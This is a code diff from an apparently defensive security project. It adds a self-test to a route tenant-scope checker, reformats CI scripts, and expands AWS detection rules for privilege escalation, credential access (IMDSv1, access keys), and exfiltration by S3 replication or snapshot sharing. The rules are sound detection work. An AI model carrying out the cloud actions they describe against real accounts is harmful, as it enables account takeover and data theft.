+ # Third direction: an exemption must stop protecting a route the moment
+ # the check it names is removed. An allowlist that keeps passing after its
+ # justification is deleted is worse than no allowlist, because it reads
+ # like a decision somebody made rather than one that lapsed.
+ failures += _self_test_stale_exemption()
+
+ if failures:
+ print(f"\nself-test FAILED: {failures} case(s) did not behave as specified", file=sys.stderr)
+ return 1
+ print("\nself-test passed: the gate detects drift in both directions, clears both clean controls, and drops a stale exemption.")
+ return 0
+
+
+def _self_test_stale_exemption() -> int:
+ """Assert IN_BAND_CREDENTIAL_ROUTES stops exempting once its verifier is gone.
+
+ The constant is named "credential" rather than "secret" deliberately: it
+ holds route keys and function names, never a credential value, but a
+ `secret`-shaped identifier flowing into `print` trips CodeQL's
+ clear-text-logging heuristic — the same false positive a counter named
+ `secret*` caused in a previous pass.
+ """
+ failures = 0
+ for key, (verifier, _reason) in IN_BAND_CREDENTIAL_ROUTES.items():
+ rel, func = key.split("::")
+ path = REPO_ROOT / rel
+ if not path.is_file():
+ print(f" [FAIL] exemption names a file that does not exist: {rel}")
+ failures += 1
+ continue
+ source = path.read_text(encoding="utf-8")
+ if verifier not in source:
+ print(f" [FAIL] exemption for {func}() names {verifier}(), which {rel} never calls")
+ failures += 1
+ continue
+ # Re-scan the file with the verification call stripped out; the route
+ # must now be reported.
+ blinded = source.replace(verifier, f"{verifier}_REMOVED_BY_SELF_TEST")
+ tree = ast.parse(blinded, filename=str(path))
+ routes = [r for r in _scan_tree(tree, service=rel.split("/")[1], rel_path=rel) if r.function == func]
+ unauth, _ = find_violations(routes)
+ if len(unauth) == 1:
+ print(f" [PASS] stale exemption: {func}() is reported once {verifier}() no longer runs")
+ else:
+ print(f" [FAIL] stale exemption: removing {verifier}() from {func}() produced {len(unauth)} findings, want 1")
+ failures += 1
+ return failures
+
+
+def main(argv: list[str] | None = None) -> int:
+ parser = argparse.ArgumentParser(description=__doc__, formatter_class=argparse.RawDescriptionHelpFormatter)
+ parser.add_argument("--inventory", action="store_true", help="print the per-service route inventory")
+ parser.add_argument("--json", action="store_true", help="emit the full inventory as JSON")
+ parser.add_argument("--self-test", action="store_true", help="prove the gate detects injected drift both ways")
+ args = parser.parse_args(argv)
+
+ if args.self_test:
+ return _self_test()
+
+ if not SERVICES_DIR.is_dir():
+ print(f"ERROR: no services/ directory under {REPO_ROOT} — refusing to report a result for a tree I did not open.", file=sys.stderr)
+ return 2
+
+ routes = collect_routes()
+
+ if args.json:
+ print(json.dumps([asdict(r) for r in routes], indent=2))
+ return 0
+
+ if args.inventory:
+ _print_inventory(routes)
+ return 0
+
+ unauthenticated, unintersected = find_violations(routes)
+
+ # Name what was scanned. A gate that prints OK without saying what it
+ # opened cannot be distinguished from one that opened nothing.
+ files = len({r.path for r in routes})
+ print(f"check_route_tenant_scope: scanned {len(routes)} routes across {files} files under {SERVICES_DIR}")
+
+ if unauthenticated:
+ print(f"\nFAIL: {len(unauthenticated)} route(s) take a tenant identifier with no auth dependency.", file=sys.stderr)
+ print(" The tenant is whatever the caller typed. Derive it from the authenticated principal.", file=sys.stderr)
+ for route in unauthenticated:
+ print(f" - {route.location()} takes {route.tenant_params}", file=sys.stderr)
+
+ if unintersected:
+ print(f"\nFAIL: {len(unintersected)} route(s) accept a tenant identifier without intersecting it with scope.", file=sys.stderr)
+ print(
+ f" Authenticated is not the same as authorised. Pass it through one of: {sorted(SCOPE_INTERSECTION_NAMES)}.",
+ file=sys.stderr,
+ )
+ for route in unintersected:
+ print(f" - {route.location()} takes {route.tenant_params} (auth: {route.auth_deps or 'router-level'})", file=sys.stderr)
+
+ if unauthenticated or unintersected:
+ return 1
+
+ print("OK: every route taking a tenant identifier authenticates and intersects it with the caller's scope.")
+ return 0
+
+
+if __name__ == "__main__":
+ sys.exit(main())
diff --git a/scripts/check_sqlglot_pin.py b/scripts/check_sqlglot_pin.py
index b30f30780..4a6da8783 100644
--- a/scripts/check_sqlglot_pin.py
+++ b/scripts/check_sqlglot_pin.py
@@ -224,9 +224,7 @@ def main() -> int:
if leg is None:
problems.append(f"{MATRIX_WORKFLOW} has no matrix leg labelled `shipped`")
elif normalise(leg.group("spec")) != agreed:
- problems.append(
- f"{MATRIX_WORKFLOW} tests the shipped rewriter against {leg.group('spec')}, but the declared pin is {agreed}"
- )
+ problems.append(f"{MATRIX_WORKFLOW} tests the shipped rewriter against {leg.group('spec')}, but the declared pin is {agreed}")
if problems:
print("check_sqlglot_pin: FAIL")
diff --git a/scripts/check_toolchain_versions.py b/scripts/check_toolchain_versions.py
index 563e099ce..ee26afba6 100644
--- a/scripts/check_toolchain_versions.py
+++ b/scripts/check_toolchain_versions.py
@@ -40,9 +40,7 @@ def workflow_go_versions() -> dict[str, set[str]]:
"""Every ``go-version:`` a workflow asks setup-go to install."""
found: dict[str, set[str]] = {}
for path in sorted(WORKFLOWS.glob("*.yml")):
- versions = set(
- re.findall(r"go-version:\s*['\"]?([0-9][0-9.x]*)['\"]?", path.read_text(encoding="utf-8"))
- )
+ versions = set(re.findall(r"go-version:\s*['\"]?([0-9][0-9.x]*)['\"]?", path.read_text(encoding="utf-8")))
if versions:
found[path.name] = versions
return found
@@ -85,10 +83,7 @@ def main(argv: list[str] | None = None) -> int:
declared = set(modules.values())
if len(declared) > 1:
detail = "\n".join(f" {p}: {v}" for p, v in sorted(modules.items()))
- errors.append(
- f"go.mod files declare {len(declared)} different Go versions "
- f"({', '.join(sorted(declared))}):\n{detail}"
- )
+ errors.append(f"go.mod files declare {len(declared)} different Go versions " f"({', '.join(sorted(declared))}):\n{detail}")
target = max(declared, key=_minor)
target_minor = _minor(target)
@@ -107,8 +102,7 @@ def main(argv: list[str] | None = None) -> int:
for dockerfile, version in dockerfile_go_images().items():
if _minor(version) < target_minor:
errors.append(
- f"{dockerfile} builds on golang:{version}, but a module declares "
- f"{target}. `go mod download` fails inside the image."
+ f"{dockerfile} builds on golang:{version}, but a module declares " f"{target}. `go mod download` fails inside the image."
)
if errors:
@@ -118,10 +112,7 @@ def main(argv: list[str] | None = None) -> int:
return 1
images = dockerfile_go_images()
- print(
- f"toolchain: OK — {len(modules)} Go modules on {target}; CI and "
- f"{len(images)} Dockerfile(s) install it"
- )
+ print(f"toolchain: OK — {len(modules)} Go modules on {target}; CI and " f"{len(images)} Dockerfile(s) install it")
return 0
diff --git a/scripts/curate_detections.py b/scripts/curate_detections.py
index fa341adbc..79ee25460 100644
--- a/scripts/curate_detections.py
+++ b/scripts/curate_detections.py
@@ -413,15 +413,11 @@ def _detect_executable_body(data: dict[str, Any]) -> bool:
return False
# Also need at least one selection or a condition that doesn't ref
# missing identifiers.
- has_selection = any(
- k for k in detection.keys() if k != "condition" and k != "timeframe"
- )
+ has_selection = any(k for k in detection.keys() if k != "condition" and k != "timeframe")
return has_selection or bool(detection.get("condition"))
-def _parse_rule(
- path: Path, *, tier: str, source: str, quarantined: bool
-) -> Rule | None:
+def _parse_rule(path: Path, *, tier: str, source: str, quarantined: bool) -> Rule | None:
"""Load a YAML rule file and return a :class:`Rule`.
Returns ``None`` for rules that fail to parse, are quarantined,
@@ -621,9 +617,7 @@ def discover_rules() -> list[Rule]:
quarantined = bool(rel) and rel[0] == "_quarantine"
if quarantined:
continue
- r = _parse_rule(
- path, tier="imported", source=source_name, quarantined=False
- )
+ r = _parse_rule(path, tier="imported", source=source_name, quarantined=False)
if r:
rules.append(r)
@@ -632,9 +626,7 @@ def discover_rules() -> list[Rule]:
if community_dir.exists():
for ext in ("*.yaml", "*.yml"):
for path in sorted(community_dir.rglob(ext)):
- r = _parse_rule(
- path, tier="community", source="community", quarantined=False
- )
+ r = _parse_rule(path, tier="community", source="community", quarantined=False)
if r:
rules.append(r)
@@ -690,13 +682,7 @@ def select_curated(
# Top-up if union is below min_total.
if len(selected) < min_total:
- remaining = [
- r
- for r in sorted(
- eligible, key=lambda r: (-r.quality_score, r.rule_id)
- )
- if r.rule_id not in selected
- ]
+ remaining = [r for r in sorted(eligible, key=lambda r: (-r.quality_score, r.rule_id)) if r.rule_id not in selected]
for r in remaining:
if len(selected) >= min_total:
break
@@ -720,12 +706,7 @@ def select_curated(
def _utc_now() -> str:
- return (
- dt.datetime.now(dt.UTC)
- .replace(microsecond=0)
- .isoformat()
- .replace("+00:00", "Z")
- )
+ return dt.datetime.now(dt.UTC).replace(microsecond=0).isoformat().replace("+00:00", "Z")
def build_manifest(
@@ -819,10 +800,7 @@ def build_report(manifest: dict[str, Any]) -> str:
lines.append("## Headline numbers")
lines.append("")
lines.append(f"- **Curated v1.0 detections**: `{s['selected']}` (target: ≥ {s['min_total']})")
- lines.append(
- f"- **Total rules considered**: `{s['considered']}` "
- f"(quality floor: {s['quality_floor']})"
- )
+ lines.append(f"- **Total rules considered**: `{s['considered']}` " f"(quality floor: {s['quality_floor']})")
lines.append(f"- **Unique MITRE techniques covered**: `{s['unique_techniques']}`")
lines.append("")
@@ -832,10 +810,7 @@ def build_report(manifest: dict[str, Any]) -> str:
lines.append("|---|---|---|---|")
for fid, info in manifest["families"].items():
check = "✅" if info["covered"] else "❌"
- lines.append(
- f"| **{info['label']}** | {info['count']} | "
- f"≥ {info['min_target']} | {check} |"
- )
+ lines.append(f"| **{info['label']}** | {info['count']} | " f"≥ {info['min_target']} | {check} |")
lines.append("")
lines.append("## Distribution")
@@ -919,18 +894,12 @@ def main() -> int:
return 0
# Quality gate: every family must be covered, total must hit min.
- ok = stats["selected"] >= args.min and all(
- info["covered"] for info in manifest["families"].values()
- )
+ ok = stats["selected"] >= args.min and all(info["covered"] for info in manifest["families"].values())
if args.check:
- existing = (
- OUT_MANIFEST.read_text(encoding="utf-8") if OUT_MANIFEST.exists() else ""
- )
+ existing = OUT_MANIFEST.read_text(encoding="utf-8") if OUT_MANIFEST.exists() else ""
report = build_report(manifest)
- existing_report = (
- OUT_REPORT.read_text(encoding="utf-8") if OUT_REPORT.exists() else ""
- )
+ existing_report = OUT_REPORT.read_text(encoding="utf-8") if OUT_REPORT.exists() else ""
def _strip_generated(s: str) -> str:
try:
@@ -943,21 +912,15 @@ def main() -> int:
def _strip_md_generated(s: str) -> str:
return re.sub(r"Generated: `[^`]+`", "Generated: `<ts>`", s)
- if (
- _strip_generated(existing) != _strip_generated(serialised)
- or _strip_md_generated(existing_report) != _strip_md_generated(report)
+ if _strip_generated(existing) != _strip_generated(serialised) or _strip_md_generated(existing_report) != _strip_md_generated(
+ report
):
print(
- "marketplace/curated.json or coverage.md is stale. Run: "
- "pnpm marketplace:curate",
+ "marketplace/curated.json or coverage.md is stale. Run: " "pnpm marketplace:curate",
file=sys.stderr,
)
return 2
- print(
- f"curation up to date "
- f"({stats['selected']} curated, "
- f"{manifest['stats']['unique_techniques']} techniques)."
- )
+ print(f"curation up to date " f"({stats['selected']} curated, " f"{manifest['stats']['unique_techniques']} techniques).")
return 0 if ok else 1
OUT_MANIFEST.parent.mkdir(parents=True, exist_ok=True)
@@ -965,11 +928,7 @@ def main() -> int:
OUT_REPORT.parent.mkdir(parents=True, exist_ok=True)
OUT_REPORT.write_text(build_report(manifest), encoding="utf-8")
- uncovered = [
- info["label"]
- for info in manifest["families"].values()
- if not info["covered"]
- ]
+ uncovered = [info["label"] for info in manifest["families"].values() if not info["covered"]]
print(
f"Wrote curated manifest: selected={stats['selected']} "
f"techniques={manifest['stats']['unique_techniques']} "
diff --git a/scripts/datasets/download_ctu13.py b/scripts/datasets/download_ctu13.py
index 874da7cfb..694bad71e 100755
--- a/scripts/datasets/download_ctu13.py
+++ b/scripts/datasets/download_ctu13.py
@@ -47,17 +47,13 @@ from urllib import request as urlrequest
logger = logging.getLogger("download_ctu13")
-DEFAULT_MIRROR = (
- "https://mcfp.felk.cvut.cz/publicDatasets/CTU-13-Dataset"
-)
+DEFAULT_MIRROR = "https://mcfp.felk.cvut.cz/publicDatasets/CTU-13-Dataset"
# CTU-13 ships 13 scenarios. Filenames at the upstream mirror follow
# the pattern ``{n}/capture{n}.binetflow``. SHA-256 entries are left
# as ``None`` until a contributor pins them in a follow-up PR (per
# the same convention used by download_cicids.py).
-SCENARIOS: dict[int, dict[str, object]] = {
- n: {"sha256": None, "approx_bytes": 0} for n in range(1, 14)
-}
+SCENARIOS: dict[int, dict[str, object]] = {n: {"sha256": None, "approx_bytes": 0} for n in range(1, 14)}
LICENSE_NOTICE = """\
============================================================
diff --git a/scripts/detection_specs_part3_cloud.py b/scripts/detection_specs_part3_cloud.py
index 8b372132c..0f5d8bb28 100644
--- a/scripts/detection_specs_part3_cloud.py
+++ b/scripts/detection_specs_part3_cloud.py
@@ -38,255 +38,681 @@ from detection_specs_part3_helpers import ( # type: ignore[import-not-found]
# ---------------------------------------------------------------------------
AWS_RULES: list[dict] = [
# ---- IAM (15) ----
- S(slug="aws-iam-attach-administrator-access", name="AWS IAM AdministratorAccess Policy Attached",
- severity="high", mitre=["t1078.004", "t1098"], product="aws", service="iam",
- when={"event_name_in": ["AttachUserPolicy", "AttachRolePolicy", "AttachGroupPolicy"],
- "policy_arn": "arn:aws:iam::aws:policy/AdministratorAccess"},
- fp=["IAM bootstrap during account vending", FP_AUTOMATION], playbook="tpl-privilege-escalation"),
- S(slug="aws-iam-key-rotation-skipped", name="AWS IAM Access Key Older Than 365 Days",
- severity="medium", mitre=["t1078.004"], product="aws", service="iam",
- when={"event_name": "ListAccessKeys", "key_age_days_gt": 365},
- fp=[FP_AUTOMATION, "Service-account key intentionally pinned"], playbook="tpl-credential-hygiene"),
- S(slug="aws-iam-mfa-disabled-on-priv-user", name="AWS IAM MFA Removed From Privileged User",
- severity="critical", mitre=["t1556.006"], product="aws", service="iam",
- when={"event_name": "DeactivateMFADevice", "target_user_priv": True},
- fp=[FP_BREAK_GLASS, "Token rotation procedure"], playbook="tpl-defense-evasion"),
- S(slug="aws-iam-role-trust-broadened-wildcard", name="AWS IAM Role Trust Policy Allows Principal '*'",
- severity="critical", mitre=["t1078.004", "t1098.001"], product="aws", service="iam",
- when={"event_name": "UpdateAssumeRolePolicy", "trust_principal": "*"},
- fp=["Sandbox / training account by design"], playbook="tpl-privilege-escalation"),
- S(slug="aws-iam-policy-version-set-default-broad", name="AWS IAM Policy Version Set With Wildcard Action",
- severity="high", mitre=["t1098"], product="aws", service="iam",
- when={"event_name": "SetDefaultPolicyVersion", "policy_action": "*", "policy_resource": "*"},
- fp=[FP_AUTOMATION], playbook="tpl-privilege-escalation"),
- S(slug="aws-iam-permissions-boundary-removed", name="AWS IAM Permissions Boundary Removed",
- severity="high", mitre=["t1098"], product="aws", service="iam",
- when={"event_name": "DeleteUserPermissionsBoundary"},
- fp=["Boundary refactor (tracked in change ticket)"], playbook="tpl-privilege-escalation"),
- S(slug="aws-iam-saml-provider-modified", name="AWS IAM SAML Provider Updated",
- severity="high", mitre=["t1556"], product="aws", service="iam",
- when={"event_name_in": ["UpdateSAMLProvider", "CreateSAMLProvider"]},
- fp=["IdP migration (must be ticketed)", FP_AUTOMATION], playbook="tpl-defense-evasion"),
- S(slug="aws-iam-cross-account-role-broad-trust", name="AWS IAM Role Trusts Foreign Account Root",
- severity="high", mitre=["t1199"], product="aws", service="iam",
- when={"event_name": "CreateRole", "trust_principal_endswith": ":root", "trust_principal_external": True},
- fp=["Approved partner integration"], playbook="tpl-initial-access"),
- S(slug="aws-iam-anonymous-role-trust", name="AWS IAM Role Trusts Anonymous Federation",
- severity="critical", mitre=["t1199"], product="aws", service="iam",
- when={"event_name": "CreateRole", "trust_principal_in": ["anonymous", "AllUsers"]},
- fp=[], playbook="tpl-initial-access"),
- S(slug="aws-iam-create-user-burst", name="AWS IAM CreateUser Burst",
- severity="medium", mitre=["t1136.003"], product="aws", service="iam",
- when={"event_name": "CreateUser", "events_per_minute_gt": 10},
- fp=["Bulk onboarding window", FP_AUTOMATION], playbook="tpl-persistence"),
- S(slug="aws-iam-account-summary-recon", name="AWS IAM GetAccountSummary Recon Burst",
- severity="low", mitre=["t1087.004"], product="aws", service="iam",
- when={"event_name_in": ["GetAccountSummary", "GetAccountAuthorizationDetails"], "events_per_minute_gt": 5},
- fp=["IAM Access Analyzer routine"], playbook="tpl-discovery"),
- S(slug="aws-iam-list-keys-recon", name="AWS IAM ListAccessKeys Recon Across Users",
- severity="medium", mitre=["t1087.004"], product="aws", service="iam",
- when={"event_name": "ListAccessKeys", "distinct_users_per_minute_gt": 20},
- fp=["Compliance audit job"], playbook="tpl-discovery"),
- S(slug="aws-iam-login-profile-created-existing-user", name="AWS IAM Login Profile Added To Existing User",
- severity="high", mitre=["t1098.001"], product="aws", service="iam",
- when={"event_name": "CreateLoginProfile", "user_existed": True},
- fp=["Migrating service account to interactive use"], playbook="tpl-persistence"),
- S(slug="aws-iam-access-key-created-other-user", name="AWS IAM Access Key Created For Another User",
- severity="high", mitre=["t1098.001"], product="aws", service="iam",
- when={"event_name": "CreateAccessKey", "actor_eq_target": False},
- fp=["Helpdesk ticket (must be linked)"], playbook="tpl-persistence"),
- S(slug="aws-iam-policy-with-notaction", name="AWS IAM Policy Created With NotAction Wildcard",
- severity="high", mitre=["t1098"], product="aws", service="iam",
- when={"event_name_in": ["CreatePolicy", "CreatePolicyVersion"], "policy_uses_notaction": True},
- fp=[FP_TUNING], playbook="tpl-privilege-escalation"),
+ S(
+ slug="aws-iam-attach-administrator-access",
+ name="AWS IAM AdministratorAccess Policy Attached",
+ severity="high",
+ mitre=["t1078.004", "t1098"],
+ product="aws",
+ service="iam",
+ when={
+ "event_name_in": ["AttachUserPolicy", "AttachRolePolicy", "AttachGroupPolicy"],
+ "policy_arn": "arn:aws:iam::aws:policy/AdministratorAccess",
+ },
+ fp=["IAM bootstrap during account vending", FP_AUTOMATION],
+ playbook="tpl-privilege-escalation",
+ ),
+ S(
+ slug="aws-iam-key-rotation-skipped",
+ name="AWS IAM Access Key Older Than 365 Days",
+ severity="medium",
+ mitre=["t1078.004"],
+ product="aws",
+ service="iam",
+ when={"event_name": "ListAccessKeys", "key_age_days_gt": 365},
+ fp=[FP_AUTOMATION, "Service-account key intentionally pinned"],
+ playbook="tpl-credential-hygiene",
+ ),
+ S(
+ slug="aws-iam-mfa-disabled-on-priv-user",
+ name="AWS IAM MFA Removed From Privileged User",
+ severity="critical",
+ mitre=["t1556.006"],
+ product="aws",
+ service="iam",
+ when={"event_name": "DeactivateMFADevice", "target_user_priv": True},
+ fp=[FP_BREAK_GLASS, "Token rotation procedure"],
+ playbook="tpl-defense-evasion",
+ ),
+ S(
+ slug="aws-iam-role-trust-broadened-wildcard",
+ name="AWS IAM Role Trust Policy Allows Principal '*'",
+ severity="critical",
+ mitre=["t1078.004", "t1098.001"],
+ product="aws",
+ service="iam",
+ when={"event_name": "UpdateAssumeRolePolicy", "trust_principal": "*"},
+ fp=["Sandbox / training account by design"],
+ playbook="tpl-privilege-escalation",
+ ),
+ S(
+ slug="aws-iam-policy-version-set-default-broad",
+ name="AWS IAM Policy Version Set With Wildcard Action",
+ severity="high",
+ mitre=["t1098"],
+ product="aws",
+ service="iam",
+ when={"event_name": "SetDefaultPolicyVersion", "policy_action": "*", "policy_resource": "*"},
+ fp=[FP_AUTOMATION],
+ playbook="tpl-privilege-escalation",
+ ),
+ S(
+ slug="aws-iam-permissions-boundary-removed",
+ name="AWS IAM Permissions Boundary Removed",
+ severity="high",
+ mitre=["t1098"],
+ product="aws",
+ service="iam",
+ when={"event_name": "DeleteUserPermissionsBoundary"},
+ fp=["Boundary refactor (tracked in change ticket)"],
+ playbook="tpl-privilege-escalation",
+ ),
+ S(
+ slug="aws-iam-saml-provider-modified",
+ name="AWS IAM SAML Provider Updated",
+ severity="high",
+ mitre=["t1556"],
+ product="aws",
+ service="iam",
+ when={"event_name_in": ["UpdateSAMLProvider", "CreateSAMLProvider"]},
+ fp=["IdP migration (must be ticketed)", FP_AUTOMATION],
+ playbook="tpl-defense-evasion",
+ ),
+ S(
+ slug="aws-iam-cross-account-role-broad-trust",
+ name="AWS IAM Role Trusts Foreign Account Root",
+ severity="high",
+ mitre=["t1199"],
+ product="aws",
+ service="iam",
+ when={"event_name": "CreateRole", "trust_principal_endswith": ":root", "trust_principal_external": True},
+ fp=["Approved partner integration"],
+ playbook="tpl-initial-access",
+ ),
+ S(
+ slug="aws-iam-anonymous-role-trust",
+ name="AWS IAM Role Trusts Anonymous Federation",
+ severity="critical",
+ mitre=["t1199"],
+ product="aws",
+ service="iam",
+ when={"event_name": "CreateRole", "trust_principal_in": ["anonymous", "AllUsers"]},
+ fp=[],
+ playbook="tpl-initial-access",
+ ),
+ S(
+ slug="aws-iam-create-user-burst",
+ name="AWS IAM CreateUser Burst",
+ severity="medium",
+ mitre=["t1136.003"],
+ product="aws",
+ service="iam",
+ when={"event_name": "CreateUser", "events_per_minute_gt": 10},
+ fp=["Bulk onboarding window", FP_AUTOMATION],
+ playbook="tpl-persistence",
+ ),
+ S(
+ slug="aws-iam-account-summary-recon",
+ name="AWS IAM GetAccountSummary Recon Burst",
+ severity="low",
+ mitre=["t1087.004"],
+ product="aws",
+ service="iam",
+ when={"event_name_in": ["GetAccountSummary", "GetAccountAuthorizationDetails"], "events_per_minute_gt": 5},
+ fp=["IAM Access Analyzer routine"],
+ playbook="tpl-discovery",
+ ),
+ S(
+ slug="aws-iam-list-keys-recon",
+ name="AWS IAM ListAccessKeys Recon Across Users",
+ severity="medium",
+ mitre=["t1087.004"],
+ product="aws",
+ service="iam",
+ when={"event_name": "ListAccessKeys", "distinct_users_per_minute_gt": 20},
+ fp=["Compliance audit job"],
+ playbook="tpl-discovery",
+ ),
+ S(
+ slug="aws-iam-login-profile-created-existing-user",
+ name="AWS IAM Login Profile Added To Existing User",
+ severity="high",
+ mitre=["t1098.001"],
+ product="aws",
+ service="iam",
+ when={"event_name": "CreateLoginProfile", "user_existed": True},
+ fp=["Migrating service account to interactive use"],
+ playbook="tpl-persistence",
+ ),
+ S(
+ slug="aws-iam-access-key-created-other-user",
+ name="AWS IAM Access Key Created For Another User",
+ severity="high",
+ mitre=["t1098.001"],
+ product="aws",
+ service="iam",
+ when={"event_name": "CreateAccessKey", "actor_eq_target": False},
+ fp=["Helpdesk ticket (must be linked)"],
+ playbook="tpl-persistence",
+ ),
+ S(
+ slug="aws-iam-policy-with-notaction",
+ name="AWS IAM Policy Created With NotAction Wildcard",
+ severity="high",
+ mitre=["t1098"],
+ product="aws",
+ service="iam",
+ when={"event_name_in": ["CreatePolicy", "CreatePolicyVersion"], "policy_uses_notaction": True},
+ fp=[FP_TUNING],
+ playbook="tpl-privilege-escalation",
+ ),
# ---- S3 / EBS (8) ----
- S(slug="aws-s3-block-public-access-disabled", name="AWS S3 Block Public Access Disabled",
- severity="critical", mitre=["t1530"], product="aws", service="s3",
- when={"event_name_in": ["PutBucketPublicAccessBlock", "DeletePublicAccessBlock"], "block_public_acls": False},
- fp=["Static site bucket explicitly public"], playbook="tpl-data-exposure"),
- S(slug="aws-s3-bucket-policy-allows-anonymous", name="AWS S3 Bucket Policy Allows Principal '*'",
- severity="critical", mitre=["t1530"], product="aws", service="s3",
- when={"event_name": "PutBucketPolicy", "policy_principal": "*"},
- fp=["Public download bucket (documented)"], playbook="tpl-data-exposure"),
- S(slug="aws-s3-replication-to-foreign-account", name="AWS S3 Replication Configured To External Account",
- severity="high", mitre=["t1537"], product="aws", service="s3",
- when={"event_name": "PutBucketReplication", "destination_account_external": True},
- fp=["Approved cross-account DR pipeline"], playbook="tpl-exfiltration"),
- S(slug="aws-s3-server-access-logging-disabled", name="AWS S3 Server Access Logging Disabled",
- severity="medium", mitre=["t1562.008"], product="aws", service="s3",
- when={"event_name": "PutBucketLogging", "logging_enabled": False},
- fp=[FP_AUTOMATION, "Decommissioned bucket"], playbook="tpl-defense-evasion"),
- S(slug="aws-s3-object-lock-disabled", name="AWS S3 Object Lock / Retention Disabled",
- severity="high", mitre=["t1485"], product="aws", service="s3",
- when={"event_name_in": ["PutObjectLockConfiguration", "PutObjectRetention"], "retention_disabled": True},
- fp=[FP_AUTOMATION], playbook="tpl-impact"),
- S(slug="aws-s3-mass-deleteobject", name="AWS S3 Mass DeleteObject Burst",
- severity="critical", mitre=["t1485"], product="aws", service="s3",
- when={"event_name": "DeleteObject", "objects_per_minute_gt": 1000},
- fp=["Lifecycle policy run", FP_BACKUP], playbook="tpl-impact"),
- S(slug="aws-ebs-snapshot-shared-foreign", name="AWS EBS Snapshot Shared With Foreign Account",
- severity="high", mitre=["t1537"], product="aws", service="ec2",
- when={"event_name": "ModifySnapshotAttribute", "shared_account_external": True},
- fp=["Approved DR copy"], playbook="tpl-exfiltration"),
- S(slug="aws-ami-shared-public", name="AWS AMI Shared Publicly",
- severity="high", mitre=["t1537"], product="aws", service="ec2",
- when={"event_name": "ModifyImageAttribute", "ami_made_public": True},
- fp=["Marketplace publishing workflow"], playbook="tpl-exfiltration"),
+ S(
+ slug="aws-s3-block-public-access-disabled",
+ name="AWS S3 Block Public Access Disabled",
+ severity="critical",
+ mitre=["t1530"],
+ product="aws",
+ service="s3",
+ when={"event_name_in": ["PutBucketPublicAccessBlock", "DeletePublicAccessBlock"], "block_public_acls": False},
+ fp=["Static site bucket explicitly public"],
+ playbook="tpl-data-exposure",
+ ),
+ S(
+ slug="aws-s3-bucket-policy-allows-anonymous",
+ name="AWS S3 Bucket Policy Allows Principal '*'",
+ severity="critical",
+ mitre=["t1530"],
+ product="aws",
+ service="s3",
+ when={"event_name": "PutBucketPolicy", "policy_principal": "*"},
+ fp=["Public download bucket (documented)"],
+ playbook="tpl-data-exposure",
+ ),
+ S(
+ slug="aws-s3-replication-to-foreign-account",
+ name="AWS S3 Replication Configured To External Account",
+ severity="high",
+ mitre=["t1537"],
+ product="aws",
+ service="s3",
+ when={"event_name": "PutBucketReplication", "destination_account_external": True},
+ fp=["Approved cross-account DR pipeline"],
+ playbook="tpl-exfiltration",
+ ),
+ S(
+ slug="aws-s3-server-access-logging-disabled",
+ name="AWS S3 Server Access Logging Disabled",
+ severity="medium",
+ mitre=["t1562.008"],
+ product="aws",
+ service="s3",
+ when={"event_name": "PutBucketLogging", "logging_enabled": False},
+ fp=[FP_AUTOMATION, "Decommissioned bucket"],
+ playbook="tpl-defense-evasion",
+ ),
+ S(
+ slug="aws-s3-object-lock-disabled",
+ name="AWS S3 Object Lock / Retention Disabled",
+ severity="high",
+ mitre=["t1485"],
+ product="aws",
+ service="s3",
+ when={"event_name_in": ["PutObjectLockConfiguration", "PutObjectRetention"], "retention_disabled": True},
+ fp=[FP_AUTOMATION],
+ playbook="tpl-impact",
+ ),
+ S(
+ slug="aws-s3-mass-deleteobject",
+ name="AWS S3 Mass DeleteObject Burst",
+ severity="critical",
+ mitre=["t1485"],
+ product="aws",
+ service="s3",
+ when={"event_name": "DeleteObject", "objects_per_minute_gt": 1000},
+ fp=["Lifecycle policy run", FP_BACKUP],
+ playbook="tpl-impact",
+ ),
+ S(
+ slug="aws-ebs-snapshot-shared-foreign",
+ name="AWS EBS Snapshot Shared With Foreign Account",
+ severity="high",
+ mitre=["t1537"],
+ product="aws",
+ service="ec2",
+ when={"event_name": "ModifySnapshotAttribute", "shared_account_external": True},
+ fp=["Approved DR copy"],
+ playbook="tpl-exfiltration",
+ ),
+ S(
+ slug="aws-ami-shared-public",
+ name="AWS AMI Shared Publicly",
+ severity="high",
+ mitre=["t1537"],
+ product="aws",
+ service="ec2",
+ when={"event_name": "ModifyImageAttribute", "ami_made_public": True},
+ fp=["Marketplace publishing workflow"],
+ playbook="tpl-exfiltration",
+ ),
# ---- EC2 / VPC (8) ----
- S(slug="aws-ec2-imds-v1-allowed", name="AWS EC2 Instance Launched With IMDSv1 Allowed",
- severity="medium", mitre=["t1552.005"], product="aws", service="ec2",
- when={"event_name": "RunInstances", "imds_v1_allowed": True},
- fp=["Legacy AMI (must be ticketed)"], playbook="tpl-credential-access"),
- S(slug="aws-ec2-key-pair-imported", name="AWS EC2 Key Pair Imported",
- severity="medium", mitre=["t1098.004"], product="aws", service="ec2",
- when={"event_name": "ImportKeyPair"},
- fp=["Bootstrap of golden image", FP_AUTOMATION], playbook="tpl-persistence"),
- S(slug="aws-ec2-disable-api-stop-revoked", name="AWS EC2 DisableApiStop Protection Revoked",
- severity="medium", mitre=["t1485"], product="aws", service="ec2",
- when={"event_name": "ModifyInstanceAttribute", "attribute": "disableApiStop", "value": False},
- fp=["Decommissioning workflow"], playbook="tpl-impact"),
- S(slug="aws-ec2-userdata-modified-running", name="AWS EC2 UserData Modified On Running Instance",
- severity="high", mitre=["t1059.001", "t1059.004"], product="aws", service="ec2",
- when={"event_name": "ModifyInstanceAttribute", "attribute": "userData", "instance_state": "running"},
- fp=["Approved cloud-init re-run"], playbook="tpl-execution"),
- S(slug="aws-vpc-route-to-internet-gateway", name="AWS VPC Default Route Pointed At New IGW",
- severity="high", mitre=["t1090"], product="aws", service="ec2",
- when={"event_name": "CreateRoute", "destination_cidr": "0.0.0.0/0", "target_type": "internet-gateway"},
- fp=["New public subnet provisioning"], playbook="tpl-command-and-control"),
- S(slug="aws-security-group-rule-add-22-from-anywhere", name="AWS SG Rule Allows SSH From 0.0.0.0/0",
- severity="high", mitre=["t1133"], product="aws", service="ec2",
- when={"event_name": "AuthorizeSecurityGroupIngress", "ip_protocol": "tcp", "from_port": 22, "to_port": 22, "cidr": "0.0.0.0/0"},
- fp=["Bastion/jump-host with MFA"], playbook="tpl-initial-access"),
- S(slug="aws-security-group-rule-add-3389-from-anywhere", name="AWS SG Rule Allows RDP From 0.0.0.0/0",
- severity="high", mitre=["t1133"], product="aws", service="ec2",
- when={"event_name": "AuthorizeSecurityGroupIngress", "ip_protocol": "tcp", "from_port": 3389, "to_port": 3389, "cidr": "0.0.0.0/0"},
